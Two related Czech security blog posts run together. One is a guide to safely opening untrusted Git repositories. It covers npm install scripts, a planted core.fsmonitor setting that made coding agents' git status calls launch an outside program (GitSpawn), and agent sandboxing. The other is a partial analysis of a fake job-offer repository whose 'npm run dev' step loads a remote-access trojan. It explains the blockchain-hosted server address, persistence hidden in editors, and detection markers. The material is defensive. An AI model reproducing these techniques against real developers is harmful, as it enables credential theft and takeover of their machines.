Naklonovat ho je normální. Z bezpečnostního hlediska je zajímavé hlavně to, co nad tím adresářem začne běžet potom.

Editor může načíst konfiguraci projektu. Package manager může při instalaci spustit skripty. Build a testy spouštějí další kód. Submoduly mohou stáhnout další repozitáře. Coding agent může několik těchto kroků provést automaticky. A pokud jste místo normálního clone dostali celý adresář včetně .git, může chování samotného Gitu ovlivnit i lokální konfigurace repozitáře.

Neznamená to, že každý cizí projekt potřebuje vlastní forenzní laboratoř. Dává ale smysl vědět, ve kterém okamžiku už projekt pouze nečtete, ale dovolujete mu něco spustit.

Otevřít projekt nemusí znamenat jen zobrazit zdrojáky

Moderní editor nebo IDE není pasivní textový prohlížeč. Nad otevřeným projektem může načítat jeho vlastní nastavení, spouštět tasky, připravovat debugger, inicializovat build systém nebo aktivovat další projektovou automatizaci.

Proto například VS Code používá pro neznámé projekty Workspace Trust a Restricted Mode. Dokud projektu nedůvěřujete, omezuje mimo jiné tasks, debugging a některá workspace nastavení. JetBrains IDE mají podobný Safe Mode, ve kterém lze zdrojáky prohlížet bez spuštění například Maven nebo Gradle importu a dalších projektových skriptů.

Pokud editor při otevření neznámého projektu nabízí volbu typu „Trust this project?“, není to jen právní dialog k odkliknutí. Rozhoduje se tím mimo jiné o tom, které funkce projektu se smějí automaticky aktivovat.

Pro první prohlídku cizího repozitáře je proto vhodné nechat podobný restricted nebo safe režim zapnutý, pokud ho používaný nástroj nabízí.

Instalace závislostí už může spouštět kód

Další hranice je příprava projektu ke spuštění.

U JavaScriptového projektu najdete v README běžně například:

npm install
npm run dev

npm install přitom není pouze stažení souborů do node_modules. npm během instalace standardně podporuje lifecycle skripty jako preinstall, install, postinstall nebo prepare. Ty jsou normální součástí ekosystému a řada legitimních balíčků je používá. Zároveň jde o programový kód spuštěný během instalace.

U cizího projektu se proto vyplatí před instalací podívat minimálně na package.json a na to, jaké skripty projekt definuje.

Při první kontrole lze npm spustit také s vypnutými skripty:

npm install --ignore-scripts

Tím npm při instalaci nespustí skripty z package.json. Není to sandbox ani důkaz, že je projekt bezpečný. Explicitní npm run dev, npm test nebo jiný příkaz určený ke spuštění skriptu svůj cílový skript stále provede.

Má to ale praktické použití: lze oddělit samotnou instalaci závislostí od dalšího kódu, který se má během instalace automaticky spouštět.

Stejný princip platí i mimo npm. Maven, Gradle, Python packaging, Make, Cargo a další build nebo package systémy mají vlastní mechanismy, kterými mohou během setupu a buildu spouštět další programy. Konkrétní příkazy se liší, bezpečnostní otázka je stejná: co všechno se skutečně provede, když udělám krok popsaný jako instalace, build nebo test?

Škodlivý příkaz nemusí vypadat škodlivě

Tohle jsem si vyzkoušel na skutečném škodlivém repozitáři z falešné pracovní nabídky.

README obsahovalo normální instrukci:

npm run dev

Projekt po jejím spuštění skutečně nastartoval. Současně se ale aktivoval škodlivý kód, který si zjistil adresu svého serveru, stáhl další část programu a začal se zapisovat do vývojářských nástrojů.

Podstatné nebylo, že by někde v návodu stálo run-malware. Útočník schoval škodlivé chování za krok, který člověk při kontrole frontendu udělá úplně normálně.

Celý ten případ jsem rozebral v článku Spustil jsem malware. Adresu svého serveru si našel v blockchainu.

Proto nestačí hledat jen příkazy, které na první pohled vypadají nebezpečně. Důležité je také to, co běžný příkaz spustí dál a jaké další soubory nebo data si za běhu načte.

Coding agent může stejný řetězec projít sám

Coding agent tenhle problém nevytváří, ale umí ho výrazně zrychlit.

Když agent dostane úkol typu „projdi tenhle projekt a vysvětli mi ho“, může zůstat u čtení souborů. U zadání „rozběhni projekt“, „oprav testy“, „najdi chybu“ nebo „ověř, že aplikace funguje“ už může být instalace závislostí, build nebo spuštění testů normální součástí řešení.

Agent tedy nemusí udělat nic proti zadání. Může přesně splnit požadovaný úkol a přitom spustit škodlivý instalační nebo build skript.

Proto je důležitější omezit prostředí, ve kterém agent pracuje, než spoléhat na to, že pokaždé správně pozná nebezpečný příkaz.

Například Claude Code odděluje permissions a sandbox. Permissions určují, které nástroje smí agent použít. Sandbox pak na úrovni operačního systému omezuje filesystem a síť pro Bash i pro procesy, které Bash spustí. Omezení se tedy vztahuje také na npm, build skripty a další potomky spuštěných procesů.

Sandbox lze v Claude Code zapnout pomocí:

/sandbox

Pro skutečně nedůvěryhodný projekt dává smysl kombinovat sandbox s omezením přístupu k citlivým souborům a síti. Samotné potvrzování jednotlivých příkazů není stejně silná ochrana. U dlouhé série běžně vypadajících operací navíc rychle vzniká approval fatigue a člověk začne potvrzení odklikávat automaticky.

Jeden repozitář může přivést další

Git submoduly umožňují, aby hlavní projekt odkazoval na další Git repozitáře. Jejich konfigurace je uložená v souboru .gitmodules, který je normální součástí repozitáře.

Proto je rozdíl mezi:

git clone https://example.com/project.git

a:

git clone --recurse-submodules https://example.com/project.git

Ve druhém případě Git rovnou začne řešit i další repozitáře uvedené v projektu.

U neznámého projektu není důvod stahovat submoduly automaticky dřív, než se podíváte, kam odkazují. Stačí nejdřív zkontrolovat .gitmodules a teprve potom je podle potřeby inicializovat.

Git má pro automaticky vyvolané síťové operace vlastní protocol policy. Některé protokoly jsou standardně povolené, nebezpečnější ext je zakázaný a další mohou mít politiku user, která rozlišuje mezi přímou akcí uživatele a automatickou operací vyvolanou například submodulem.

Tyto defaulty není potřeba kvůli běžné práci měnit. Naopak není dobrý nápad je globálně povolovat volněji jen proto, že nějaký konkrétní projekt jinak nefunguje, aniž by bylo jasné proč.

Cizí .git je jiný případ

Doteď jsme počítali s normálním vzdáleným repozitářem, který si sami naklonujete.

Jiná situace nastane, když vám někdo pošle celý pracovní adresář například jako ZIP, přes sdílený disk nebo synchronizovanou složku:

project/
├── src/
├── package.json
├── README.md
└── .git/

V takovém případě jste nedostali jen zdrojové soubory a Git historii. Dostali jste také cizí lokální Git metadata.

Tady je důležitý rozdíl proti běžnému git clone. Při vzdáleném clone se lokální .git/config původního repozitáře ani jeho hooks nekopírují. Git si na vašem stroji vytvoří nový .git adresář a vlastní lokální konfiguraci.

Pokud ale někdo předá celý adresář včetně .git, dostáváte i konfiguraci a hooks, které připravil on.

Oficiální dokumentace Gitu na to upozorňuje přímo: některé konfigurační volby a hooks mohou spouštět libovolné příkazy, a proto není bezpečné normálně pracovat s .git, který pochází z nedůvěryhodného zdroje.

Aktuální příklad: GitSpawn a core.fsmonitor

Konkrétní ukázkou je výzkum GitSpawn od Manifold Security.

Git podporuje nastavení core.fsmonitor, které mu pomáhá rychleji zjišťovat změny souborů. Hodnotou ale může být také externí program.

V lokálním .git/config tedy může být nastavení ve smyslu:

[core]
    fsmonitor = <program>

Někteří coding agenti po otevření Git repozitáře automaticky zjišťovali jeho stav pomocí Git příkazů. Při operaci, která potřebovala obnovit index, Git použil nastavený fsmonitor a spustil cizí program.

Takže i normálně vypadající:

git status

mohlo skončit spuštěním programu definovaného v podstrčeném .git/config.

Pro tuhle konkrétní cestu lze při automatickém zjišťování stavu použít:

git -c core.fsmonitor=false status

Volba -c přepíše konfiguraci pro právě spouštěný Git příkaz. Hodnota core.fsmonitor z repozitáře se tedy pro tento příkaz nepoužije.

Globální:

git config --global core.fsmonitor false

není proti škodlivému repo-local nastavení spolehlivá ochrana. Lokální .git/config má vyšší prioritu než globální konfigurace a může ji přepsat.

git -c core.fsmonitor=false status zároveň není obecné zabezpečení Gitu. Řeší konkrétní cestu přes core.fsmonitor. Git konfigurace i hooks mají další možnosti, jak ovlivnit chování programu.

safe.directory není seznam důvěryhodných projektů

Git má ochranu proti repozitářům vlastněným jiným uživatelem.

Ve výchozím stavu odmítne pracovat s repozitářem, který patří někomu jinému, a nebude ani parsovat jeho lokální config nebo spouštět hooks. Konkrétní výjimky lze přidat pomocí safe.directory.

To je užitečné například na víceuživatelském systému.

Není to ale obecná ochrana proti škodlivému repozitáři. Když si sami rozbalíte ZIP připravený někým jiným, výsledné soubory typicky vlastní váš účet. Git tedy nemá podle ownershipu důvod takový adresář odmítnout.

A pokud Git zahlásí problém s „dubious ownership“, není vhodné ho automaticky řešit:

git config --global --add safe.directory '*'

Hodnota * kontrolu ownershipu globálně vypne. Lepší je zjistit, proč má konkrétní repo jiného vlastníka, a případnou výjimku nastavit jen tam, kde ji skutečně potřebujete.

Když cizí .git opravdu potřebujete

Někdy není k dispozici původní vzdálený repozitář a potřebujete zachovat historii, branche nebo další Git metadata z předaného adresáře.

Git v takové situaci doporučuje nevstupovat běžně do původního repozitáře, ale nejdřív z něj vytvořit čistou kopii:

git clone --no-local /cesta/k/puvodnimu-repu /cesta/k/nove-kopii

--no-local zabrání použití optimalizací lokálního clone a Git vytvoří nový repozitář prostřednictvím svého běžného transportního mechanismu. Výsledná kopie tak nepřebírá původní lokální config a hooks.

Ani to není absolutní sandbox. Serverovou část clone obsluhuje git-upload-pack a samotná Git dokumentace upozorňuje, že i ten má vlastní attack surface. U skutečně nedůvěryhodného .git proto doporučuje spustit tuto část pod neprivilegovaným uživatelem nebo použít další izolaci.

Pokud historii vůbec nepotřebujete, je jednodušší původní .git nepoužívat.

Omezit lze i automatické hledání bare repozitářů

Git umí pracovat také s bare repositories, tedy repozitáři bez běžného working tree.

Pokud je ve svém workflow nepoužíváte, Git nabízí jedno užitečné hardening nastavení:

git config --global safe.bareRepository explicit

Git pak nebude automaticky pracovat s bare repozitářem, který pouze objeví uvnitř adresářové struktury. Musí mu být určený explicitně.

Git dokumentace tuto volbu doporučuje zvážit právě jako ochranu proti útokům, kdy naklonovaný projekt obsahuje další bare repository a následný Git příkaz ho automaticky najde.

Když projekt opravdu musíte spustit

Statická kontrola má svoje limity. Někdy potřebujete aplikaci skutečně spustit, reprodukovat chybu, pustit testy nebo sledovat její chování.

V tu chvíli už víte, že budete spouštět cizí kód. Nejdůležitější proto není další jednotlivá volba Gitu, ale prostředí, ve kterém ten kód poběží.

Běžný pracovní účet vývojáře může mít přístup k SSH klíčům, privátním repozitářům, Git a cloudovým tokenům, produkčním .env, uloženým přihlášením, dalším zdrojovým kódům nebo běžícím credential agentům.

Cizí projekt většinu z toho nepotřebuje.

U projektu, kterému nedůvěřujete, ale potřebujete ho spustit, dává smysl použít jednorázové nebo jinak omezené prostředí bez skutečných přístupových údajů a bez zbytečného přístupu k datům hostitele.

Podle rizika může jít o sandbox, separátní uživatelský účet, development environment vytvořený právě pro tento účel nebo jednorázový virtuální systém.

Container může být součástí takového řešení, ale samotné „běží to v Dockeru“ ještě neznamená dobrou izolaci. Docker bind mounty mají ve výchozím stavu právo zapisovat do namountovaných souborů hostitele. Přístup k Docker daemonu je ještě silnější; Docker dokumentace výslovně upozorňuje, že možnost ovládat daemon poskytuje root-level oprávnění na hostitelském systému.

U nedůvěryhodného kódu bych proto do containeru nepředával Docker socket, celý domovský adresář, SSH agent ani adresáře s credentials. Pokud projekt potřebuje hostitelský adresář pouze číst, je vhodnější read-only mount než zápis.

Stejně důležitá je síť. Pokud projekt ke své funkci nepotřebuje libovolný odchozí přístup, není důvod mu ho automaticky dávat.

Snapshot virtuálního systému je užitečný pro návrat disku do předchozího stavu. Není ale bezpečnostní hranice proti úniku dat. Token, který už cizí program odeslal ven, rollback nevrátí.

Praktický bezpečnostní baseline

Žádné z následujících opatření samo o sobě nedělá cizí repozitář důvěryhodným. Jednotlivé kroky omezují různé cesty, kterými může projekt nebo nástroje kolem něj spouštět kód a získávat přístup k okolnímu systému.

Kolik důvěry projekt skutečně potřebuje?

U cizího repozitáře není potřeba rozhodnout jednou provždy, jestli je „bezpečný“ nebo „nebezpečný“.

Praktičtější je rozhodovat postupně.

Pro přečtení zdrojových souborů nepotřebuje projekt přístup k SSH klíčům. Pro instalaci závislostí nemusí být nutné automaticky spustit všechny install skripty. Coding agent, který má vysvětlit architekturu, nemusí mít automaticky právo spouštět libovolný software. A projekt, který potřebujete opravdu rozběhnout, nemusí běžet pod stejným účtem a se stejnými credentials jako vaše běžná práce.

Čím méně důvěry konkrétní krok potřebuje, tím méně jí má smysl projektu dávat.

Řešíte bezpečnost konkrétního vývojového prostředí, CI nebo coding agentů?

Pokud potřebujete posoudit konkrétní workflow, oprávnění nebo bezpečnostní návrh, můžeme ho projít v rámci Bezpečnostní konzultace. Cílem je dojít ke konkrétnímu doporučení pro vaše prostředí, ne vyrábět zbytečně široký audit.

Zdroje

• Git documentation – SECURITY: práce s nedůvěryhodným repozitářem, config, hooks a doporučení pro cizí .git.
• git-config documentation: safe.directory, safe.bareRepository, protocol policy a core.fsmonitor.
• git-clone documentation: lokální clone a --no-local.
• npm Scripts documentation: lifecycle skripty při instalaci.
• npm install documentation: --ignore-scripts, allowScripts a strict-allow-scripts.
• Claude Code Security a Sandboxing: permissions, filesystem a network isolation.
• VS Code Workspace Trust.
• JetBrains Project Security.
• Docker Engine security a Bind mounts.
• Manifold Security: GitSpawn.

The post Jak bezpečně pracovat s cizím Git repozitářem appeared first on DIGITÁLNÍ SEBEOBRANA.

Tenhle v sobě žádnou adresu neměl. Po spuštění se zeptá veřejné Ethereum sítě na jednu konkrétní transakci a adresu si z ní rozbalí. Ta transakce je veřejná a dá se otevřít v prohlížeči blockchainu. Adresa serveru je zapsaná přímo v příjemci té transakce, jen šestnáctkově. Kdo si to chce přepočítat sám, najde přesný rozpad i pětiřádkový skript v technické části na konci.

Stojí za to všimnout si, kde přesně ta informace je. Ne v datech transakce. Transakce sama nenese žádnou zprávu. Ta adresa příjemce totiž nikomu nepatří, není to peněženka ani smart kontrakt, je to prostě číslo, které někdo vymyslel tak, aby po přepočtu dávalo IP adresu a dva porty. Zpráva není v tom, co se poslalo. Zpráva je v tom, komu.

Je to jako veřejný inzerát, ve kterém je uvedená adresa. Vypadá úplně stejně jako každá jiná, nikomu nepřijde divná a projde bez povšimnutí. Jenom číslo popisné je ve skutečnosti kombinace k trezoru a ví to jen ten, komu je inzerát určený.

V kódu, který dostane oběť, tedy není co blokovat, je v něm jen odkaz na infrastrukturu, kterou nikdo nevypne. A i kdyby se ten server někomu podařilo shodit, útočník pošle další transakci na jinou vymyšlenou adresu a všechny nasazené kopie se na ni samy přesměrují.

Tenhle malware mi přišel v nabídce práce na LinkedIn

Na konci července mi napsal člověk jménem Aaron Clark. Ověřený profil, 500+ kontaktů, jeden společný známý, slušně napsaná zpráva. Nabízel spolupráci na AI nástroji na sledování kryptoměn. Projekt je prý už financovaný, na vývoj je vyčleněných pět milionů dolarů a chystají token launch. Part-time i full-time, jak mi to bude vyhovovat.
Moc často s headhuntery nekomunikuji, takže nemůžu říct, jestli bylo něco nestandardního, ale na první pohled nebylo nic divného.
Na druhý už ano.

O sobě uváděl, že sedí v představenstvu Blocku.

To je ta věta, kvůli které jsem si otevřel jeho profil pořádně.

Kdo mi to vlastně píše

Block je veřejně obchodovaná společnost. Členy představenstva takové firmy si nemusíte domýšlet, jsou veřejní. Firma je uvádí na svých investorských stránkách a jako emitent je musí uvádět i v dokumentech podávaných americké komisi pro cenné papíry. Otevřete seznam a přečtete si jména. Sedí tam Jack Dorsey, spoluzakladatel Blocku i Twitteru. Jim McKelvey, druhý spoluzakladatel. Shawn Carter, kterého většina lidí zná jako Jay-Z, od května 2021. A vedle nich lidé ze Sequoia Capital, z Goldman Sachs nebo z MIT.

Jen Aaron Clark tam není.

Trvalo to dvě minuty a tím by to v podstatě skončilo. Zbytek profilu se pak už jen skládal do stejného obrázku.

Kariéra, která nedává smysl. Podle profilu byl v letech 2019 až 2021 projektový manažer v malé firmě, pak dva roky OSVČ, pak dva roky CTO malého AI startupu, a od roku 2024 člen představenstva jedné z největších fintechových firem na světě. Já tu osobní zkušenost nemám, ale myslím, že do představenstva tak významné společnosti se postupuje trochu jinak.

Nulová aktivita. Přes tisíc sledujících, žádný příspěvek. Nikdy. Člověk s takovou pozicí a takovým dosahem, který za dva roky nenapsal ani jednu větu.

Nesedící role. Člen představenstva velké fintechové firmy shání na LinkedIn frontendistu na volné noze za hodinovou sazbu na nesouvisející AI crypto projekt. To se nestává.

Ověřený profil. Ten modrý odznáček u jména neznamená, že platí, co je v profilu napsané. Znamená, že u účtu proběhlo nějaké ověření, typicky totožnosti nebo pracovního e-mailu. O pravdivosti tvrzení o představenstvu nevypovídá nic. Přesně na tenhle rozdíl většina lidí nemyslí, a proto ten odznáček funguje.

Fun fact: v pravém sloupci mi LinkedIn u toho profilu sám nabízel placenou reklamu na volná místa v Blocku. Platforma tu shodu jmen bere jako signál k prodeji inzerce, ne k ověření. A tak zvyšuje důvěryhodnost scammerům.
Díky LinkedIne!

Zahodit a nahlásit. No a nebo ne?

V tomhle bodě bylo jasné, že je to podvod. Ale zajímalo mě jaký.

Falešné pracovní nabídky mají několik různých konců. Někdy jde o klasický podvod s poplatkem předem. Někdy o získání osobních dat. A někdy je celý ten příběh jenom obal na to, aby dostali škodlivý kód na počítač oběti.

Zajímala mě celá cesta, ne to, že mi někdo lže o zaměstnavateli. Odpovědět na nabídku aby mě procesem provedli mě nic nestálo.

Zeptal jsem se na běžné věci. V jaké fázi projekt je, jak vypadá stávající tým, ve kterých oblastech potřebují pomoct, jestli jde o konzultace, infrastrukturu a bezpečnost, produktový vývoj nebo dlouhodobou roli.

Odpověď na většinu z nich nikdy nepřišla.

V pátek dorazilo PDF s přehledem projektu. V pondělí jsem napsal, že z toho širokého rozsahu jsou mé zkušenosti nejblíž infrastruktuře, bezpečnosti, backendové architektuře a deploymentu, a znovu se zeptal, co konkrétně by ode mě v téhle fázi chtěli, jestli mají tým a existující kód a jaký by byl další krok.

Přišlo tohle:

Okay,
That is what we want from you. This project’s normal hourly rate is around $100.

Ta první věta neodpovídá na nic. Zbytek zprávy pokračoval tím, že frontend je hotový, ať se na něj podívám, a až potom si naplánujeme technickou schůzku o timeline a milestonech. A ať pošlu GitHub username.

Tak jsem si založil oddělený GitHub účet, vyplnil ho AI generovaným obsahem pro větší důvěryhodnost (LOL) a v úterý ráno jim ho poslal. Pozvánka do privátního repozitáře přišla o šest minut později.

Následující den odpoledne přišel follow-up:

Did you get any chance to run and see the project?

Tohle je na celé konverzaci nejvíc vypovídající věta. Za celou dobu se mě nikdo nezeptal na nic technického. Ani na názor na architekturu, ani co bych na tom frontendu změnil. Jediné, co je zajímalo, bylo, jestli jsem ho spustil.

Co v tom repozitáři bylo

Jako první přišlo to PDF s přehledem projektu. Prověřil jsem, jestli v něm není aktivní obsah. Nebyl. Žádný JavaScript, žádné vložené soubory, žádné formuláře. PDF nebylo nosičem ničeho, jeho úkol byl vypadat jako materiál od skutečné firmy a poslat čtenáře k repozitáři. Splnilo ho dobře. Při rychlé kontrole je snadné poctivě ověřit dokument, dojít k závěru „je to čisté“ a ten pocit pak přenést i na všechno ostatní, co přišlo s ním.

Repozitář hlásil 6 273 commitů. Nahoře jméno a fotka autora posledního commitu, pod tím kompletní struktura frontendu. Na první pohled projekt, na kterém někdo měsíce pracoval.

Ta historie byla ale ukradená. Patřila legitimnímu open source projektu a útočník na ni posadil jediný commit s hláškou „Refactoring codebse for speed“, který smazal přes čtyři tisíce souborů a nahradil je stovkou vlastních. Zůstala jen ta historie. Odpovídá tomu i to, že všechny soubory v repozitáři mají stejné datum poslední změny.

Má to jeden nepříjemný vedlejší efekt. GitHub páruje autora commitu podle e-mailové adresy, a ta v tom commitu patří skutečnému vývojáři původního projektu. Na stránce repozitáře se tedy zobrazuje účet a fotka existujícího člověka, který s tím nemá nic společného. Proto tady jeho jméno neuvádím.

Stojí za to říct, čí problém to vlastně je. Git ve svém návrhu autora commitu nijak neověřuje. Jméno a e-mail si do něj zapisuje ten, kdo commituje, a může tam napsat cokoli. Tak to funguje od začátku a souvisí to s tím, že Git je decentralizovaný a commituje se i bez připojení k serveru.

Co k tomu přidává GitHub, je zobrazení. Podle e-mailu k tomu commitu dopáruje účet, ukáže fotku a odkaz na profil, a nepodepsaný commit přitom ve výchozím nastavení nedostane žádné označení. Podvržený commit tedy vypadá úplně stejně jako pravý. GitHub navíc podvržení e-mailu v Gitu výslovně vylučuje ze své bug bounty s odůvodněním, že samo o sobě nedává útočníkovi přístup k repozitáři ani žádná další oprávnění. Technicky to sedí. Prakticky to znamená, že se cizí jméno a fotka dají zdarma použít jako důvěryhodnost, což je přesně to, co se stalo tady.

Obrana existuje, ale je dobrovolná a musíte si ji zapnout dopředu. V nastavení GitHubu jde skrýt vlastní e-mail a commitovat pod adresou ve tvaru username@users.noreply.github.com. Ta zůstává navázaná na váš účet, takže se vám commity dál normálně přiřazují, jen nikdo nezná adresu, kterou by mohl použít. Druhá věc je podepisování commitů klíčem a zapnutí takzvaného vigilant mode, po kterém se každý nepodepsaný commit s vaším jménem zobrazí jako neověřený.

Háček je v tom, že tohle chrání jen toho, kdo si to nastavil. Vývojáře, jehož jméno se objevilo v tom podvrženém commitu, by chránilo jen tehdy, kdyby si vigilant mode zapnul on sám.

Zbytek stránky už tak přesvědčivý nebyl. Nula hvězd, nula sledujících, nula forků, žádní přispěvatelé, žádný popis. A v kořeni commitnutý soubor .env. To nedělejte:)

README.ai

README v repozitáři je generická šablona. Uvítání, „How can I run this code?“, odkaz na instalaci Node.js přes nvm, čtyři kroky a seznam použitých technologií: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.

Tenhle text není napsaný na míru. Odpovídá šabloně, kterou automaticky generuje AI nástroj na stavbu aplikací Lovable, včetně identického znění kroků a stejného seznamu technologií. Útočník z ní odmazal zmínky o samotném Lovable a sekci o Codespaces, zbytek nechal být.

Prakticky to znamená, že návnadu nikdo nepsal. Někdo si nechal vyklikat věrohodně vypadající krypto dashboard za pár minut, nasadil ho na cizí historii a poslal to dál. Náklady na výrobu obalu jsou dnes prakticky nulové, což je důvod, proč se takových nabídek dá rozeslat libovolné množství.

A pak je tu poslední řádek toho návodu:

# Step 4: Start the development server with auto-reloading and an instant preview.
npm run dev

Tenhle příkaz spouští celý zbytek příběhu. Nemusel být nikde schovaný, protože projekt sám ho nabízí jako běžný a očekávaný krok. Kdokoli, kdo se na ten frontend chtěl podívat, ho udělal.

Co se stalo, když jsem to spustil

Nespouštěl jsem to samozřejmě na svém počítači. Postavil jsem si na to izolované „pískoviště“: jednorázový systém bez jediného skutečného hesla, klíče nebo peněženky, odříznutý od internetu a od hostitele, s vlastní bránou, která nahrávala všechen provoz a nepustila ven nic, co jsem předem nepovolil. Server útočníka jsem si nasměroval na sebe, takže si malware o všechno říkal mně, ne jemu. Když si nakonec řekl o svoji hlavní část, poslal jsem mu prázdnou odpověď. Tu poslední část si tedy stáhnout nestihl a nikdy se nespustila. Tím jsem viděl celý průběh, aniž bych někomu nechal běžet cizí program na skutečném stroji.

Pak jsem zadal to, co po mně chtěli.

npm run dev

Navenek se nestalo nic zvláštního. Dev server naběhl, na výstupu žádná chyba, dashboard by se za chvíli otevřel v prohlížeči. Kdybych u toho seděl jako uchazeč o práci nebo zakázku, prohlížel bych si UI a nic bych nepoznal.

Zatím se ale stalo tohle. Projekt se připojil na veřejný uzel sítě Ethereum, tedy na jednu z těch služeb, přes které se běžně čtou data z blockchainu, a přečetl si z něj jednu transakci. V ní byla zašifrovaná adresa serveru, kterou si z ní rozbalil. Na ten server si sáhl, stáhl si odtamtud další kus programu, spustil ho a ten si řekl o poslední, hlavní část.

Od zadání příkazu k tomuhle bodu uplynulo necelé tři desetiny sekundy.
Za tu dobu nestihne ani Ital espresso.

Co to bylo a co by to udělalo

Ten poslední kus programu jsem si stáhl a rozebral, aniž bych ho pustil. Je to krysa. RAT. Ta zkratka se rozepisuje dvěma způsoby: remote administration tool, když jde o legitimní nástroj na správu vzdálených počítačů, a remote access trojan, když jde o to samé, jen bez vědomí majitele. Rozdíl není v kódu, ale v tom, jestli o něm majitel počítače ví.

Tenhle byl schovaný v konfiguračním souboru frontendu, takže to druhé. Je to program, který útočníkovi umožní ovládat cizí počítač na dálku, jako by u něj seděl.

Konkrétně tenhle umí:

• číst obsah schránky
• spustit jakýkoli příkaz, který by na tom počítači mohl spustit jeho majitel
• spustit jakýkoli další program, který mu útočník pošle
• vzít libovolný soubor nebo celý adresář včetně podadresářů a nahrát ho na svůj server.

Podstatné je to poslední. Není to program s pevným seznamem cílů, kterému byste utekli tím, že si peněženku uložíte jinam. Je to vzdálený přístup. Útočník se připojí, rozhlédne se a rozhodne se na místě, co ho zajímá.

Prakticky to znamená, že si může vzít cokoli, na co dosáhne účet, pod kterým je ten projekt spuštěný. Přístupové klíče k serverům, přihlášení do Gitu a do cloudu, konfigurační soubory s hesly, uložené přihlašovací údaje z prohlížeče, soubory peněženek, data ze správce hesel, zdrojové kódy, dokumenty. A obsah schránky, což je mimochodem ten okamžik, kdy se vyplatí, že si člověk občas kopíruje seed frázi nebo heslo.

Na běžném pracovním notebooku vývojáře je tohohle materiálu obvykle dost.

Tohle všechno ale dělá na povel. Je tu ještě jedna věc, kterou udělá sám od sebe hned po spuštění, a ta je z celého rozboru nejdůležitější.

Smazat repozitář nestačí

Zhruba sekundu po spuštění si ten program najde nainstalované vývojářské aplikace a vloží se do nich. Do VS Code, do Cursoru, do Antigravity, do Discordu, do GitHub Desktopu a do npm.

Zapíše se přímo do jejich souborů, odsazený asi dvěma sty mezerami, takže když ten soubor někdo otevře v editoru, kód je schovaný daleko za pravým okrajem obrazovky a při běžném procházení ho neuvidí.

Důsledek: člověk spustí takový projekt, za chvíli si řekne, že to byla hloupost, smaže repozitář a jde spát. A infekce mu zůstane. Sedí v editoru a v npm a spustí se, až je zase normálně použije.

Smazání složky s projektem tenhle problém neřeší.

Kde končí to, co jsem viděl

Všechno výše jsem buď pozoroval při běhu, nebo si to přečetl přímo v kódu toho programu. Že je v repozitáři schovaný škodlivý kód, že ho spustí npm run dev, že si přes blockchain najde server útočníka, stáhne a spustí odtamtud další kód, a že tím posledním kusem je nástroj pro vzdálený přístup, který se sám zabydlí ve vývojářských aplikacích.

Co jsem neviděl: skutečného útočníka při práci. Můj testovací systém neobsahoval žádná reálná data, takže se nikdy nic neukradlo, a nevím, jestli u nějaké opravdové infekce vůbec někdo zadával příkazy. Nemám ani druhou, paralelní větev toho řetězce. Server mi na ni přestal odpovídat dřív, než jsem ji stihl stáhnout.

Takže ne, nemůžu napsat, že mi vybílili peněženku. Můžu napsat, že by mohli.

Způsob oslovení, celá struktura řetězce i použité markery odpovídají tomu, co se veřejně popisuje pod názvy Contagious Interview a DEV#POPPER. Není to nic nového. Jen to dobře funguje.

Co dělat, když jste něco takového spustili

Odpojte stroj od sítě, ať se k němu útočník nemůže připojit.

Pak prohledejte soubory nainstalovaných vývojářských aplikací a npm na markery /*RS260605*/ a /*C260521A*/. Konkrétní cesty a starší varianty markerů jsou v technické části níže. Grep je najde spolehlivě, očima je nenajdete, protože jsou odsazené daleko za pravý okraj.

Když je najdete, máte jistotu. Když je nenajdete, jistotu nemáte. Tenhle vzorek je jedna konkrétní verze jedné konkrétní kampaně a další už můžou vypadat jinak. Proto, pokud jde o stroj, na kterém máte skutečné přístupy, je jediná spolehlivá odpověď čistá reinstalace. Čištění podle indikátorů je dobré na to, abyste věděli, co se stalo, ne na to, abyste se cítili bezpečně.

A pak to, co lidi odkládají nejčastěji: všechno, na co ten účet dosáhl, berte jako kompromitované. Klíče, tokeny, API klíče, obsah konfiguračních souborů, přihlašovací údaje v prohlížeči. Rotovat, ne doufat. Pokud jste na tom stroji měli kryptopeněženku, přesouvejte prostředky z nového čistého zařízení, se seedem vygenerovaným na něm, ne na tom napadeném.

Co si z toho odnést

1. Tvrzení o pozici ve velké firmě je skoro vždy dohledatelné. Představenstva veřejných společností jsou zveřejněná a kontrola trvá dvě minuty.
2. Když se vám nechce hledat, hoďte celou nabídku i s profilem do libovolného AI nástroje s přístupem na web a nechte si ji projít. Není to neprůstřelné a nemá to být jediný filtr, ale rozpory typu „tvrdí pozici, kterou veřejný zdroj nepotvrzuje“ takhle odhalíte za pár vteřin.
3. Ověřený profil na LinkedIn neověřuje, co je v profilu napsané.
4. Když protistrana neodpoví na věcné otázky o týmu a rozsahu, ale odpoví obratem na všechno, co posouvá ke spuštění kódu, je to signál sám o sobě.
5. Pozvánka do privátního repozitáře není důkaz legitimity.
6. Dlouhá a věrohodná historie Gitu se dá zkopírovat z cizího projektu. Počet commitů nedokazuje nic.
7. Přesvědčivě vypadající frontend je dnes otázka pár minut v AI builderu. Vzhled projektu nevypovídá o tom, kdo za ním stojí.
8. Repozitář může být škodlivý, i když v něm nejsou žádné instalační skripty. Konfigurační soubory frontendových nástrojů jsou spustitelný kód.
9. Vzdálený přístup je obecnější než seznam cílů. Nechrání vás to, že si dáte peněženku jinam.
10. Smazání naklonovaného repozitáře nemusí odstranit to, co se mezitím vložilo do editoru a do npm.
11. Cizí kód se spouští v jednorázovém prostředí bez přístupu k vlastním datům a bez volného internetu. Snapshot virtuálu není bezpečnostní hranice.
12. Lákavá nabídka, tlak na rychlost a úkol „jen si to spusť“ dohromady nejsou náhoda. Je to schéma, které se opakuje.

Poslední bod nemá s technikou nic společného. Přesně tenhle typ nabídky přijde vývojářům, kteří mají veřejný profil, viditelné repozitáře a zájem o kryptoměny. Útočník si oběť nevybírá náhodně, vybírá si ji z veřejně dostupných informací.

P.S.

Poslal jsem Aaronovi link na tenhle článek. Poděkoval. Asi to nepochopil.

Technický rozbor

Odsud dál je to pro ty, koho zajímá, jak přesně to funguje, nebo kdo si potřebuje ověřit vlastní stroj. Příběh výše by měl dávat smysl i bez téhle části.

Ještě poznámka k metodě. Rozbalování obfuskovaného kódu jsem si výrazně zkrátil pomocí AI. Mým cílem nebylo reverzovat cizí JavaScript od nuly, ale zmapovat celý proces, kterým tahle skupina pracuje, od prvního kontaktu na LinkedIn až po persistenci. Všechny konkrétní hodnoty níže, hashe, cesty i příkazy, jsem si zpětně ověřil ve vzorku.

Lab

